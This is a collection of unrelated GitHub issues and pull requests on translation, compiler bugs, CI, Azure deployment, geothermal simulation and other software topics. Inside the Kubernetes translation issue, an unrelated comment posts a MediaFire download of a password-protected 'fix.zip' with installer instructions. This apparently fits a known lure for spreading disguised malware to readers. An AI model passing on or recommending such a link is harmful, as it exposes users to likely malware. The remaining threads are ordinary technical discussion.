[ja] Translate content/en/docs/reference/glossary/horizontal-pod-autoscaler.md into Japanese

Note that this issue is for Japanese Speaker
This is a Feature Request
What would you like to be added
Translate content/en/docs/reference/glossary/horizontal-pod-autoscaler.md into Japanese
Why is this needed
There is no Japanese translation for this page
Comments

File to translate:

https://github.com/kubernetes/website/blob/main/content/en/docs/reference/glossary/horizontal-pod-autoscaler.md

Original:

https://kubernetes.io/ja/docs/reference/glossary/?all=true#term-horizontal-pod-autoscaler

日本語に翻訳する際は、以下のドキュメントを参考にしてください。

Japanese Localization document: https://kubernetes.io/ja/docs/contribute/localization/

/area localization
/language ja
/good-first-issue
/triage accepted

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

/assign


Collision between module and abstract class breaks the code generator, with null reference in LLVM

Crystal 1.2.2 [6529d725a] (2021-11-10)

LLVM: 10.0.0
Default target: x86_64-unknown-linux-gnu

This program:
module M
  @a = 1
end

abstract class A
  @a = 1
end

class B < A
  include M
  @b = 1
end

B.new

Results in this error inside of LLVM:
Invalid memory access (signal 11) at address 0x0
[0x7faff3351016] ???
[0x7faff3350fe3] ???
[0x7faff43c4a14] ???

With the bleeding-edge compiler and LLVM 13:
Crystal 1.3.0-dev [ee9996728] (2021-12-22)

LLVM: 13.0.1
Default target: x86_64-unknown-linux-gnu

I get a better report:
crystal: .../llvm-project/llvm/include/llvm/IR/Instructions.h:921: llvm::Type* llvm::checkGEPType(llvm::Type*): Assertion `Ty && "Invalid GetElementPtrInst indices for type!"' failed.
Aborted

Related: #10979

@beta-ziliani Please prioritize, this has been in the compiler for at least 6 months, according to #10979, and results in no comprehensible error message, so is really difficult for the user to isolate.

@BrucePerens you saved me a lot of time binary searching my own source code for this. Thank you.

@BrucePerens you saved me a lot of time binary searching my own source code for this. Thank you.

You're welcome. It did indeed take quite a while. And @beta-ziliani, here's someone else who hit that bug.

This appears to be pretty much the same issue as #10979, it appears when merging modules or modules and classes.
The reproduction in the OP also works with a concrete class, so abstract is not a condition for this error.
It's clear that this error should be fixed, but I'm not entirely sure about what would be the expected behaviour. Is it inevitably an error? Or can the compiler accept ivar redefinitions from different hierarchies? In the example, the ivars' types are identical, so they could be trivially unified. This works in linear hierarchies as well. The only trouble is figuring out precedence of default values, but I presume that should just follow the overload ordering of methods (i.e. M overrides A).
Incompatible types must certainly be an error, like in linear hierarchies.
Does that sound good?
Or maybe we should just start with producing a proper error message and improve things afterwards?

I think the example in this issue should compile fine. The main problem is figuring out how to fix this.

A readable error would certainly be helpful in moving forward, but Bruce's example is certainly not something that seems broken to me. Resolving default values by method overloading paradigms makes sense at first glance.

It appears the case of different types is already handled correctly. So it seems to be only a matter of unifying the instance variable when the types are compatible.
module M
  @x = 'a'
end

abstract class Parent
  @x = 1 # Error: instance variable '@x' of Parent must be Int32, not (Char | Int32)
end

class Child < Parent
  include M
end

The error location isn't accurate, it should probably be on Child, not Parent.

I looked into this briefly the last week to see if I could quickly fix it, but I failed.
To understand this problem better, you have to know that:

instance variables of modules are just used to compute what instance variables classes and structs will have
in a hierarchy, an instance variable belongs to the top-most type that defines it

So for instance if we have:
class A
  @a = 1
end

class B < A
  @b = 1
end

We have that A holds @a : Int32 and B holds @b : Int32. Also B holds @a : Int32 through A, but that information is kept in A, not in B.
Let's say we have this:
```crystal
class A
  @a = 1
end

class B < A
  @a = 3
  @b = 1
end

In this case there's also @a : Int32, but the end result is the same as before: @a : Int32 belongs to A, B knows nothing about it directly (it knows about the initializer, though)
To be able to do this the compiler will analyze type hierarchies starting from root types and going downwards.
This... kind of falls apart with modules!
What Crystal does right now is to analyze modules first, before classes and structs. If a module mentions an instance variable, that instance variable is propagated to inherited types.
So in a code like this:
module Moo
  @a = 1
end

class Foo
  @b = 2
end

We first process Moo, and then we know that Foo needs to have @a : Int32
Then we process Foo and learn that it also has @b : Int32

The end result is that Foo will have:

@a : Int32
@b : Int32

So far, so good.
But with this example:
module M
  @a = 1
end

abstract class A
  @a = 1
end

class B < A
  include M
  @b = 1
end

B.new

We first process M and we learn that B needs to have @a : Int32
We then process A and learn that it needs to have @a : Int32
We then process B and learn that it needs to have @b : Int32

Do you see the problem? The definition of @a : Int32 now lives in both A and B! This is the bug that is being triggered in the compiler.
How to fix this? Hard! I have no idea, hehe...
One idea is, when in point 2 we learn that A has @a : Int32, check if any subtypes also define that instance variable. In this case there's B! So the compiler could "steal" that variable from B and just leave it in A.
Well, maybe that could work but I didn't have time to try it... (not I'll have time)
Another alternative could be to first process type hierarchies and then modules. If we do that, then:

We first process A and learn that it has @a : Int32
We then process B and learn that it has @b : Int32
We then process M, which is included by B, and learn that it needs to have @a : Int32 but it already exists in a parent type so we do nothing

This I tried, but type initialization breaks. It seems the logic to determine instance variables is tied with determining which ones are initialized in initialize, and here we also need to take modules into account.
So... maybe now you understand why this issue has been sitting here for a long time. It's hard! The core team can prioritize it but that doesn't mean it will get fixed soon. It's like asking to prioritize solving the halting problem :-)

I sympathize with the desire to have the compiler actually process this construct correctly. But since this is a difficult thing to do, could we have it detect the issue and emit a message, in the short term?

Thanks @asterite, this was very insightful. I took the liberty to export your explanations to the wiki (https://github.com/crystal-lang/crystal/wiki/Compiler-Internals:-Instance-Variables) to make it discoverable.


CI config is not ok for jdk11

[ ] I have searched the issues of this repository and believe that this is not a duplicate.

Ⅰ. Issue Description
you can see
https://travis-ci.org/seata/seata/jobs/521987347
Ⅱ. Describe what happened
It should be a problem for https://travis-ci.community/t/install-of-openjdk11-is-failing-again/3061/2
Installing openjdk11
$ export JAVA_HOME=~/openjdk11
$ export PATH="$JAVA_HOME/bin:$PATH"
$ ~/bin/install-jdk.sh --target "/home/travis/openjdk11" --workspace "/home/travis/.cache/install-jdk" --feature "11" --license "GPL" --cacerts
install-jdk.sh 2019-04-17
Couldn't determine a download url for 11-GPL on linux-x64
The command "~/bin/install-jdk.sh --target "/home/travis/openjdk11" --workspace "/home/travis/.cache/install-jdk" --feature "11" --license "GPL" --cacerts" failed and exited with 1 during .

Ⅲ. Describe what you expected to happen
Ⅳ. How to reproduce it (as minimally and precisely as possible)

xxx
xxx
xxx

Ⅴ. Anything else we need to know?
Ⅵ. Environment:

JDK version :
OS :
Others:

https://github.com/seata/seata/pull/837


Code issue with post exploit stage stage 42/48 (Disable cydia stashing)

This doesn't seem right to me https://github.com/pwn20wndstuff/Undecimus/blob/master/Undecimus/ViewController.m#L2041#L2059
If /.cydia_no_stash exists (access), create /.cydia_no_stash (fopen). fopen will obviously fail because the file already exists. This in turn returns null and triggers assert. @pwn20wndstuff

Access returns 0 on success, so that checks if it doesn't exist, not if it exists.


community: add Integration for OpenAI image gen with v1 sdk

Description: Created a Langchain Tool for OpenAI DALLE Image Generation.
Issue: #15901
Dependencies: n/a
Twitter handle: @paulodoestech

[x] Add tests and docs: If you're adding a new integration, please include

a test for the integration, preferably unit tests that do not rely on network access,
an example notebook showing its use. It lives in docs/docs/integrations directory.

[ ] Lint and test: Run make format, make lint and make test from the root of the package(s) you've modified. See contribution guidelines for more: https://python.langchain.com/docs/contributing/

Additional guidelines:

Make sure optional dependencies are imported within a function.
Please do not add dependencies to pyproject.toml files (even optional ones) unless they are required for unit tests.
Most PRs should not touch more than one package.
Changes should be backwards compatible.
If you are adding something to community, do not re-import it in langchain.

If no one reviews your PR within a few days, please @-mention one of baskaryan, efriis, eyurtsev, hwchase17.

make lint is throwing errors unrelated to my changes. However, make format and make test all pass successfully. If there's anything I should change please lmk🙏

@baskaryan can I get a review/approval please?


UTF-8 encoded strings

While obfuscating UTF-8 encoded Turkish characters are corrupted. When running manually "-Dfile.encoding=UTF-8" parameter works. Is there a way to handle this issue?

Hi. The Proguard is run in a forked JVM (https://github.com/wvengen/proguard-maven-plugin/blob/154987ae84a84bf580b50f06ee9a273a64bc18a2/src/main/java/com/github/wvengen/maven/proguard/ProGuardMojo.java#L953) and all general JVM arguments are not passed on (https://github.com/wvengen/proguard-maven-plugin/blob/154987ae84a84bf580b50f06ee9a273a64bc18a2/src/main/java/com/github/wvengen/maven/proguard/ProGuardMojo.java#L961). Should be relatively easy to include propagating this parameter by reading it with System.getProperty and passing it on.


chore: update protobuf dependency to match workspace

Updating dependencies.properties protobuf version to match workspace version. Looks like renovate-bot doesn't update these automatically.

Adding reference: https://github.com/googleapis/googleapis/blob/master/WORKSPACE#L162


Add a UUIDField to the Page model

Is your proposal related to a problem?
There is a general consensus in the tech industry that it's a bad idea for public APIs to expose too much information about a system's inner workings - using page's autoid values as identifiers in the API could be classed by some as exposing 'too much'.
Also, we've seen recently (e.g. in wagtail-transfer) that there is value in being able to identify pages across multiple environments, and relying on autoid values in such a scenario is simply not viable.
Describe the solution you'd like
I'm not suggesting that we replace the AutoIDField with a UUIDField. The AutoIDField does the job - it's efficient, it is relied upon a lot internally, and it's handy to have a short, human-friendly identifier in a lot of situations. Not to mention it would be practically impossible to achieve from a migration/backwards-compatibility perspective.
Rather, I am suggesting that we add a separate UUID field (I would suggest public_id or simply uuid as the name, but that's by-the-by). The field would have a unique constraint, but wouldn't replace the primary key. It would be automatically generated at initialisation and available before saving a page (possibly useful in some scenarios), and would serve as an alternative way of referring to the page when using the autoid value is less than ideal.
You could argue that having more than one identifier for a page is a bit redundant. Some might even use words like 'messy' or 'ludicrous' - and I would have to agree to a point; I wouldn't bake this into something by design. But, I believe the pluses outweigh the negatives here. The overhead of generating and storing a single UUID value for each instance isn't really worth mentioning, and there's nothing to say that we have to make any other changes immediately (although it would be nice to update a few places to support them instead of / as well as the id).
Describe alternatives you've considered
The alternative is that when a project needs to have a UUID for a page, it is added to a custom page model, and the API functionality is overridden, but even then, it would be tricky to use as general 'Page' identifier (you'd always need to be working with specific pages). And in apps like wagtail-transfer, the value is generated and stored in a separate table (which must certainly have an impact on join performance at the database level).

Awesome! Do you plan to transparently replace the id in the API using this as the natural key?

@thenewguy that is the idea, yes. but I thought it best to leave that to a separate PR/discussion and keep this change simple.


Fixed a bug to process pdf files and added feature to exclude multiple tags.

Thanks @harun27 for the pull request.
I'll try to have a proper look at it this weekend (currently moving house)

Since I refactored the code quite a bit, this pull request had many conflicts. I've manually added the proposed changes to the code base instead.
Closing this pull request.


[Draft] Button proposal

Component description
The Button component serves as a fundamental element for user interaction within web interfaces. It enables users to perform actions such as submitting forms or triggering specific functionalities.
Potential use case examples

Card actions
Submitting a form
Triggering a modal dialog
Initiating a call-to-action (CTA) within a marketing campaign

Visual appearance

Design

Solid background color
Roundness consistent to the global design tokens
Clear and recognizable as a clickable element
Consistent size and spacing to maintain visual harmony within the interface
Some adjustable CSS properties to accommodate different styling and branding needs
Font size equal to font size design token for regular text
Accessible contrast ratio to ensure readability and usability

List of supported states - e.g. hover, focus, error, disabled, read-only...

Default - Normal state of the button.
Hover - When the user hovers over the button.
Focus - When the button receives keyboard focus.
Active - When the button is clicked or tapped.
Disabled - When the button is not clickable or interactable.
Error - When the button represents an action that results in an error.

Expected interface/properties/variants/types/forms

Content - Text or text + emoji on both sides
Preserve the type attribute behavior when within a form
Size - only 1 size, could be adjusted over exposed CSS variables
Variants - "default" and "accent"
Full width option

Confirmed, development could start.


Moving simulator code into common packages

Each package now has a sims folder that exports an interface for the simulator to implement. In the root of this repo I've added a tsconfig.json that builds all the sim folders together into one file called common-sim.js. I'll be opening a PR in pxt-core that builds that file as part of the target build and copies it into the target's built directory.

@riknoll,
Thanks for your contribution as a Microsoft full-time employee or intern. You do not need to sign a CLA.
Thanks,
Microsoft Pull Request Bot

I didn't add that enum, I just renamed it. Some of those ID's are in dal.d.ts, some aren't. I'll try and switch to the DAL wherever possible.

Let's file a bug on getting rid of hardcoded values the CODAL enum

Looks like those IDs are in the DAL enum, they're just named differently and have different values. My guess is we've been using the wrong value but have been internally consistent so it's been fine. I'll switch them over.


WARNING: The executable file in this post is a  very nasty trojan virus

This file is laced with a trojan horse. Run it on virustotal.com and see for yourself.
Here are my results.  The source is available for viewing and you can compile yourself. False positives occur from patterns within the code such as local file access and modification, which is exactly what this utility does.


Video and audio player improvements

Who it's for
Researchers using digital audio or video from collections
Problem to be solved
We currently render digital audio and video using the native browsers' players. The functionality differs from browser to browser, and there are accessibility issues that we can resolve on our side. We can also improve the UI by using our own designs, enhancing the design system.
TODO

[ ] Explore UI designs
[ ] Investigate feasibility of generating wave forms
[ ] Design for search results

User Story/Job

In order to
(why? accomplish a goal/get a benefit)
As a
(who? user/persona)
I need/want/expect
(what? to do this thing)
Acceptance Criteria TBC

[ ] The interface should do this thing
[ ] and this thing
[ ] and this thing.

Checklist

[ ] Event tracking
[ ] Mobile first
[ ] Compliance with WCAG 2.1


Support wildcars and more dependency options in selectors

ATM, we mach selectors using groupId.equals(selector)
              <selectors>
                <!-- groupId of the  -->
                <selector>org.hawkular.cmdgw</selector>
              </selectors>

(1) We should find a way to be able to select based also on other dependency children, such as artifactId, version, type, classifier and possibly others.
(2) Partial matches, such as org.hawkular.* should be possible.

Fixed by https://github.com/srcdeps/srcdeps-core/pull/4/commits/01e67f5b39ef53dbf96b53cb53ecc89568bbe006


Failed to update the static web site from local folder using azure cli

i've create static web app in azure
it is correctly deployed and i can open it in browser
i have tried to update / redeploy with some changes
i've see the following in console

PS C:\DEV\office365_plugin\dist> az webapp up --location=westeurope --name teststaticsite
Resource group 'appsvc_rg_Windows_westeurope' already exists.
App service plan 'appsvc_asp_Windows_westeurope' already exists.
Creating app 'teststaticsite' ....
Website with given name teststaticsite already exists.

Result: the static app is not updated
Expected behaviour: the static app should be updated regarding the docs

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: a825f031-250e-034d-e552-4b0d976d88b1
Version Independent ID: 626d7451-0b8e-051e-e512-0bf90be319a0
Content: Create a static HTML web app in Azure
Content Source: articles/app-service/app-service-web-get-started-html.md
Service: app-service-web
GitHub Login: @msangapu
Microsoft Alias: msangapu

@BryanFranzMSFT could you say how it is possible to update already created web app ?
I follow the section "Update and redeploy the app" in the doc and get that error.

How to deploy to an already existing app?

@davojta @serverud @wald-tq @hkhamm We believe there might be a platform issue that is causing this behavior. We are currently investigating this issue and will reply back once we have a further update.

@davojta @severud @wald-tq @hkhamm This issue is part of a known issue at this time. We have a fix for it and hope to have the fix deployed shortly.
Feel free to track the issue here: https://github.com/Azure/azure-cli-extensions/issues/388

My resolution was to use Azure Storage to host my static app.

I fixed problem with setup service account and using zip deployment: i've written a simple script to make zip archive from the folder with source file and then i upload archive using zip deployment + service account to run it on CI

I did the same thing as @davojta. After building I did:
cd build && zip -r build.zip .
az webapp deployment source config-zip -g <resource-group> -n <name> --src build.zip
rm -rf build.zip

@wald-tq @davojta @hkhamm We are happy to hear that you were able to find workarounds. Thank you for your patience on this matter.
The product group believes this issue should now be fixed through their latest patch.
We will now proceed to close this thread. If there are further questions regarding this matter, please tag me in your reply. We will gladly continue the discussion and we will reopen the issue.


Set Up Account for Document Information Extraction

Tutorial URL: https://developers.sap.com/tutorials/cp-aibus-dox-service-instance-booster.html
Please specify the step you are referring to : Step 2: Get service key
As per given note,the Booster will choose subaccount if we have more than two subaccounts. But it is observed that it selects if only one subaccount exists. The given note can be modified accordingly.
Expected result:

Actual result :

Labels to be added:
Landscape label: trail1, trial2
Scenario label: SCPTest-docinfo

This is resolved. @MichaelCzcz please close


fix($compile): bindToController should work without controllerAs

What kind of change does this PR introduce? (Bug fix, feature, docs update, ...)
fix
What is the current behavior? (You can also link to an open issue here)
see #15088
Does this PR introduce a breaking change?
no
Please check if the PR fulfills these requirements

[x] The commit message follows our guidelines: https://github.com/angular/angular.js/blob/master/CONTRIBUTING.md#commit-message-format
[x] Tests for the changes have been added (for bug fixes / features)
[x] Docs have been added / updated (for bug fixes / features)

Looks like we can decide between this and 15106

Yep, I didn't see #15106

Let's keep this one. It's more complete than #15106.

Is there a way to restart Travis without pushing a new commit?

There is :smile:

LGTM as long as Travis is happy (and unless someone can think of a good reason not to allow this).

LGTM, please merge


Simple.Data InMemoryAdapter throws “Operation is not valid due to the current state of the object.”

Issue explained here:
http://stackoverflow.com/questions/21343306/simple-data-inmemoryadapter-throws-operation-is-not-valid-due-to-the-current-st

I am seeing the same issue when connecting my SQL DB with Simple.Data v 0.19. Any ideas why this is happening?

I solved my issue after reading the documentation. It seems that after opening the db I do not need to close, so I removed my db.Close() statement and do not get the exception anymore...


Only show one tippy at a time

Because our tippy instances have an interactiveBorder, it's possible to bring up two instances at once, which is undesirable.

Prevent this by keeping track of visible tippy instances and hiding others when one is shown. Tippy also has the singleton addon for the same purpose, but it's unsuitable to us because we don't init all tooltips at once.

There is one regression where in the review box you hover one of the buttons with tooltip, it will close the review box itself because that is another tippy instance. We need to fix this mechanism so it only hides tooltips.


Add solution and test-cases for problem 1922

Add solution and test-cases for problem 1922

Add solution and test-cases for problem 1922

Please switch branches. The main branch will be the main branch.


Updated X-Ray plugin to use with a custom executionEndpoint and different xray_execution_key values

Changes:
[+] Added an ability to use arguments 'test_key' and 'test_exec_key' with pytest.mark.xray. We can use 'test_exec_key' argument to specify an execution ticket id for each of the tests separately inside the test case.
[+] Added 'XRAY_TEST_EXECUTION_ENDPOINT' and 'XRAY_TEST_EXECUTION_ENDPOINT_CLOUD' environment variables to have an ability specify these values outside the code.
[+] Added 'DISABLE_UPLOAD_COVERAGE_REPORT' environment variable into the GitHub Action to have an ability disable upload coverage report from the forks.
[+] Made order for steps in GitHub Action pipeline: flask8 -> tests -> coverage
Old functionality didn't change.
We can continiue use the old format:
@pytest.mark.xray('JIRA-3')
We can use a new format:
@pytest.mark.xray(test_key='JIRA-3')
@pytest.mark.xray(test_key='JIRA-3', test_exec_key='JIRA-1')

Suppose you have two tests, one test is assigned to test execution ID JIRA-1 and second test for JIRA-2, what is expected behavior it that case?
According to the rest api specification https://docs.getxray.app/display/XRAY/v2.0#/Import/post-import-execution there can be only one field with testPlanKey/testExecutionKey. I don't think this will work.

Thank you for your work and your answer.
I agree with you, that we can use only one test execution key per Test Case.
And in our new implementation, we will have multiple decorators with the same test_exec_key, something like:
@pytest.mark.xray(test_key='JIRA-1', test_exec_key='JIRA-1')
def test_func1(...):
     pass

@pytest.mark.xray(test_key='JIRA-3', test_exec_key='JIRA-1')
def test_func2(...):
     pass

And we agree it looks not so good as wants to be.
We expect an x-ray plugin will send json file with test_exec_key=JIRA-1 and two tests results JIRA-1 and JIRA-3 in one request after the execution.
We already using this in our project.
What we try to do:

We need the ability to specify a test-execution-key for the specific TestCase module (with TestCase class) in the code instead of the cli argument.
And we run our tests with commands:

pytest ./tests/test_testcase1.py --jira-xray
pytest ./tests/test_testcase2.py --jira-xray
pytest ./tests/test_testcase4.py --jira-xray

We tried not to make many changes to the existing functionality.

Maybe you can give better advice on how we can do that?


[#536] Adopt BlockHeight API

Note the CI build will fail until I deploy the snapshot for the SDK.
Note that this change modifies the on-disk representation of the wallet.  Anyone who has an earlier build install will see a runtime crash.  This is expected, as we are not supporting data migrations at this stage of development.  The solution is to uninstall/reinstall the app.
This code review checklist is intended to serve as a starting point for the author and reviewer, although it may not be appropriate for all types of changes (e.g. fixing a spelling typo in documentation).  For more in-depth discussion of how we think about code review, please see Code Review Guidelines.
Author

[ ] Self-review: Did you review your own code in GitHub's web interface? Code often looks different when reviewing the diff in a browser, making it easier to spot potential bugs.
[ ] Automated tests: Did you add appropriate automated tests for any code changes?
[ ] Manual tests: Did you update the manual tests as appropriate? While we aim for automated testing of the application, some aspects require manual testing. If you had to manually test something during development of this pull request, write those steps down.
[ ] Code coverage: Did you check the code coverage report for the automated tests?  While we are not looking for perfect coverage, the tool can point out potential cases that have been missed. Code coverage can be generated with: ./gradlew check for Kotlin modules and ./gradlew connectedCheck -PIS_ANDROID_INSTRUMENTATION_TEST_COVERAGE_ENABLED=true for Android modules.
[ ] Documentation: Did you update documentation as appropriate? (e.g README.md, etc.)
[ ] Run the app: Did you run the app and try the changes?
[ ] Screenshots: Did you provide before and after UI screenshots in the description of this pull request?  This is only applicable for changes that modify the UI.
[ ] Rebase and squash: Did you pull in the latest changes from the main branch and squash your commits before assigning a reviewer? Having your code up to date and squashed will make it easier for others to review. Use best judgement when squashing commits, as some changes (such as refactoring) might be easier to review as a separate commit.

Reviewer

[ ] Checklist review: Did you go through the code with the Code Review Guidelines checklist?
[ ] Ad hoc review: Did you perform an ad hoc review?  In addition to a first pass using the code review guidelines, do a second pass using your best judgement and experience which may identify additional questions or comments. Research shows that code review is most effective when done in multiple passes, where reviewers look for different things through each pass.
[ ] Automated tests: Did you review the automated tests?
[ ] Manual tests: Did you review the manual tests?
[ ] How is code coverage affected? We encourage you to compare coverage before and after changes and when possible, leaving it in a better place.
[ ] Documentation: Did you review Docs, README.md, and Architecture.md as appropriate?
[ ] Run the app: Did you run the app and try the changes? While the CI server runs the app to look for build failures or crashes, humans running the app are more likely to notice unexpected log messages, UI inconsistencies, or bad output data. Perform this step last, after verifying the code changes are safe to run locally.

It's hard to properly review this, as it's not buildable, because of missing BlockHeight object, which will be available after merge of this PR in SDK zcash/zcash-android-wallet-sdk#594, if I understand it right. And it's your aim to have this reviewed earlier. So I just made a quick scan of the changes here on Github and I haven't found any trouble there. May be it's worth checking it again, once the SDK provides the BlockHeight API.

Yes, that’s correct.  The intention was to make sure there weren’t any glaring omissions from the API change.  This exercise did identify one issue which I fixed with an additional change to the SDK.  Once the SDK snapshot gets deployed, we’ll re-visit this one more time.


Enable BQ access for Kokoro Macs

This will:

add downloading a service account key for BQ access as a Mac prebuild step.
allow auto test flakiness detection
enable uploading test results to BQ

CC @adelez

did you test this works with an experimental job?

Yes, it works.

once we enable interop tests on mac, won't it interfere with the service account key interop test? (I think not, but maybe worth keeping an eye on this).

I'm pretty sure Mac interop tests are only cloud-to-cloud, so this won't affect them for now. If we add cloud-to-prod in the future, I might look into just giving more access rights to the interop service key.


[Fix] Parse errors in method unitQuaternion

For new versions of Matlab aka R2020a:

There are some typo minor errors like ; where it shouldn't go
Parse errors: Try change | by ||

Your toolbox is amazing! Thanks!!!!

Thanks for that


Cls17 17 n13 weather

@nicolas13sochi code looks fine, but you have a conflict on .gitignore file - update your branch with master and resolve conflict.
Additionally: it's great to see you back at writing tests. But the tests are testing same endpoints that we already tested just with different data.
Now take a new endpoint and try to write a test for it


docs: Added v3 API reference.

Signed-off-by: Manish Kumar<EMAIL_ADDRESS>Added v3 API reference in rocketmq_proxy_filter docs.

/retest


undocumented changes to POST description field

POST /:urlname/events
image.jpg used to be rendered as , now its left unchanged
text  was rendered as is, now its turned into
text (url)
If these are intentional changes, please update the doco, and please explain how to include an image
cheers
andrew

refers to HTML in the description field


Can't select a pile on other player boards without transferring the top card

NOTE: Before you begin working on this, please assign this issue to yourself. If you do not do this, then there's the possibility that 2 people will end up doing the same task, which is not a good use of time.
In the base set, this isn't a feature.  There are a few cards that touch other people's boards (non-demand) like Fission and Bioengineering, but they both involve transferring the card elsewhere.
So, adding a mechanism for selecting the card would be helpful.  I imagine it will be helpful in the future too.  In fact, Self Service could use this feature without the workaround that's currently there.
Here is the code for Cyrus Cylinder thus far:
   // id 134, Artifacts age 2: Cyrus Cylinder
    case "134N1A":
        // "Choose any other top purple card on any player's board."
         $options = array(
            'player_id' => $player_id,
            'n' => 1,
            'can_pass' => false,

            'owner_from' => 'any player',
            'location_from' => 'board',
            'owner_to' => -1, // Nothing is to be done with that card
            'location_to' => 'board',

            'color' => array(4),
            'not_id' => 134 /* Cyrus Cylinder */
        );
        break;

    // id 134, Artifacts age 2: Cyrus Cylinder
    case "134N1B":
        // "Splay left a color on any player's board"
         $options = array(
            'player_id' => $player_id,
            'n' => 1,
            'can_pass' => false,

            'owner_from' => 'any player',

            'splay_direction' => 1
        );
        break;

and this:
            // id 134, Artifacts age 2: Cyrus Cylinder
            case "134N1A":
                if ($n > 0) { // Unsaid rule: another purple top card must be selectable
                    $selected_card = self::getCardInfo(self::getGameStateValue('id_last_selected'));
                    self::checkAndPushCardIntoNestedDogmaStack($selected_card); // "Execute its non-demand dogma effects.  Do not share them."
                }
                break;

(134, 1, 2, 4, 0, 3, 3, 4, 3, 0, 'deck', 0, NULL, FALSE);

Thanks for filing this issue! I can definitely look at adding the requested feature. I will need to be careful that I don't break in-progress games which are using the "Self Service" card. However, I expect the odds of the cards currently being played at the moment that we deploy the changes to be quite low, so the risk isn't too bad either way.

I think I'm going to implement this using 'location_to' => 'none'. When looking through the code, this seemed like the simplest and cleanest solution.

That sounds like a good solution!


Removed Maven Profiles From tests/pom.xml

This PR removes the build profiles from tests/pom.xml as it inherits from shim-deps/pom.xml
Note: We don't have any Databricks profiles as we currently don't run unit tests there.

build


g-Functions for variable fluid mass flow rate and reversible flow direction

I have more a question, which may result in an enhancment: Is it already possible to simulate a borefield with given heat extraction rate and different network flow values per time step?
my script is based on the example:
https://pygfunction.readthedocs.io/en/stable/examples/fluid_temperature_multiple_boreholes.html#simulation-of-fluid-temperatures-in-a-field-of-multiple-boreholes
until now I used constant network flow, and the algorithm works really well eg:
m_flow_network_w = 0.35* N1_w * N2_w
(milesteps of the script):
LoadAgg_w = gt.load_aggregation.ClaessonJaved(dt, tmax)
boreField_w = gt.boreholes.rectangle_field(N1_w, N2_w, B, B, H_w, D, r_b)
network_w = gt.networks.Network(boreField_w, UTubes_w, m_flow_network=m_flow_network_w, cp_f=cp_fluid)
gFunc_w = gt.gfunction.gFunction(network_w, alpha, time=time_req, boundary_condition='MIFT', options=options)
LoadAgg_w.initialize(gFunc_w.gFunc/(2pik_s))
for i, (t) in enumerate(time):
LoadAgg_w.next_time_step(t)
Tf_in_w[i] = network_w.get_network_inlet_temperature(P_tot_w[i], Tb_w[i], m_flow_network_w, cp_fluid, nSegments=1)
Now, I want to implement 3 different mass flow rates  (e.g. 0.1, 0.25 and 0.5 kg/s per borehole), depending on actual power value (P_tot_w). The output should be inlet and outlet temperature of the field.
as the gfunctions itself and hence the initialization of the Load Aggregation is dependent on the network flow,  I think it do not work properly  only changing the flow value in "get_network_inlet_temperature"...
is there already a possibility to use several network flow steps?
thank you

Hello @fuma01.
We found in an earlier study that g-functions are not strongly dependent on mass flow rate (as long as it is above a threshold value) [1]. For parallel-connected boreholes, the variation is often negligible [2]. This means that the same g-function (at nominal mass flow rate) can be used for a simulation with variable mass flow rate.
One way to verify is to evaluate and compare g-functions at your mininum an maximum mass flow rates up to a time equal to the maximum simulation time. If there is no significant difference, then all you need is to use the variable mass flow rate when calling network.get_<> class methods.
It is also possible to consider different g-functions with different mass flow rates using a non-stationary combination [3]. This is not supported by pygfunction and would need to be adapted to time-marching simulations before it can be implemented.

[1] Cimmino, M. (2019). Semi-Analytical Method for g-Function Calculation of bore fields with series-and parallel-connected boreholes. Science and Technology for the Built Environment, 25(8), 1007-1022.
[2] Cimmino, M. (2015). The effects of borehole thermal resistances and fluid flow rate on the g-functions of geothermal bore fields. International Journal of Heat and Mass Transfer, 91, 1119-1127.
[3] Beaudry, G., Pasquier, P., & Marcotte, D. (2021). A fast convolution-based method to simulate time-varying flow rates in closed-loop and standing column well ground heat exchangers. Renewable Energy, 174, 55-72.

Dear Massimo,
Thank you for the quick response!
Indeed the g-function is not very sensitiv to flow values, at least if the field stays in turbulent mode (< 0.6 % in my simulation) but a bit more in low flow mode (up to 10 % difference)
I testet it with three flow rates (0.1, 0.3 and 0.5 kg/s), which represents my target range and plottet the g-function and the difference to 0.5 kg/s, related to Eskilson time:

I use hourly time steps up to 20 years. rectangular borefield 7x9 with 150 m length and 5 m spacing
now I am thinking about, if the error will be significant when using variable mass flow rate just at"network.get_" method, as suggested?
also, I am wondering, that the computation time needs 5 times longer with switching flow rates @ network.get.
regards from Vienna,
Martin

Accuracy
The accuracy of your simulation will depend on your simulation objectives and how often the flow rate is 0.1 kg/s.
A difference in g-functions at low ln(t/ts) translates to an error in borehole wall temperature variations in the short-term (i.e. how quickly the temperature varies following a heat pulse). The variation of fluid temperatures is a combination of two factors: (1) the temperature variation at the borehole wall, and (2) the effective borehole thermal resistance. The second also varies with mass flow and is captured by the Network class.
If you are simulating for heat pump energy use, then an error in temperature affects the performance of the heat pump. If you are simulating to size the field in peak conditions then I figure the peak coincides with the maximum mass flow rate. The magnitude of these impacts strongly depend on your simulation case.
Here, I would suggest running and comparing simulations using g-functions evaluated with the 0.1 and 0.5 kg/s mass flow rates. This would give an estimation of the expected magnitude of the errors caused by using only one g-function.
Factor in that g-functions do not capture short-term effects (i.e. the heat capacity of the grout and the travel time of the fluid). This is a limitation of steady-state resistance models such as the one implemented in the Network class.
Calculation time
When the mass flow rate changes, the Network class re-evaluates all borehole coefficients. the class only remembers coefficients for the latest mass flow rate.
At the moment, this is done to all boreholes individually even if all borehole are geometrically identical.

in my current investigation, I have 5 heat pumps parallel to one (or two) BHE fields. Input is the heating/cooling power demand of the building and solar module. Then the field size is adapted, that the fluid temperatures are in specified range. The output is the electric power of the heat pumps (calculated with characteristic curve) in proportion to solar and BHE power and relation to field size.
In dependence of the requested power load the needed number of heat pumps are activated. In current simulation the mass flow rate is set constant, hence the delta T is varying. The idea was to set a variably flow rate and get more or less constant delta T, which will also affect input temperature of the heat pump and hence the COP (or the needed electric power).
now, I understand, that the mass flow rate is implementet in the g-function, which is calculated in advance. By switching laminar/turbulent flow mode, this will probably not be neclectable. As a workaround, I will make two simulations at minimum and maximum constant flow rate, to see the efffects.
The increase of calculation time by changing flow rate later in network class, is too high for me...
I think, it would be exciting if an implementation of "different g-functions with different mass flow rates using a non-stationary combination [3]" in pygfunction would be implemented in future releases!

Dear Massimo,
This is great work! Thanks for the implementation! I'm looking forward to studying the paper and using the new functions! Best regards

The following scripts reproduce the results from the paper  (after 566f3fe)

Parallel boreholes

Code
import numpy as np
